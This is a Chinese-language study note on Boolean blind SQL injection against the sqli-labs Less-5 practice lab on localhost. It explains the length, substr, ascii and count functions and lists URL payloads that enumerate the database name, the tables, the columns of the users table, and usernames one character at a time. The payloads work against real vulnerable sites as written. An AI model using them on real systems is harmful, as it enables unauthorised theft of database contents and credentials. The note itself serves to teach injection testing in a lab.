SQL 注入：布尔盲注 - wangyi187学习笔记

【布尔盲注】

原理：

问有2个数据库对吗？

数据库名长度是3对吗？

数据库第一个字库是a对吗？

length():可以返回字符串的长度：

select length(‘abcdefg’); select length( (database()) );

substr():可以截取字符串，并自定义开始的位置和长度。

select substr(‘abcdefghijklmn’,3,3); select substr((database()),1,1);

ascii():可以返回单个字符的ascii码。

select ascii(‘a’); select ascii( ( substr((database()),1,1) ) );

count():可以用来查看表的数量或者是字段的数量。

select count(table_name) from information_schema.tables where table_schema=‘security’

数量->长度->ascii码。#

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and length((select database()) )= 8 —+

判断数据库名长度

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select database() ),2,1) )>102 —+

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select database() ),2,1) )=101 —+

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select database() ),2,1) )>100 —+

判断数据库名的具体ascii码

security

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=‘security’)=4 —+

判断表的数量。

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ) )=6 —+

判断第一张表的名字长度。

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select table_name from information_schema.tables where table_schema=‘security’ limit 3,1 ),1,1) )=117 —+

判断第一张表的第一个字符的ascii码。

emails,…users

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and (select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3 —+

判断第一个表里面的字段数量。

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1 ) )=2 —+

判断第一字段名的长度

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1 ),1,1) )=105 —+

判断第一个字段的第一个字符的ascii码。

id,username,password

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and (select count(username) from users )=13 —+

判断账号的数量。

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and length((select username from users limit 0,1 ) )=4 —+

判断第一个账户的名字长度。

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and ascii( substr(( select username from users limit 0,1 ),1,1) )=68 —+

Dumb,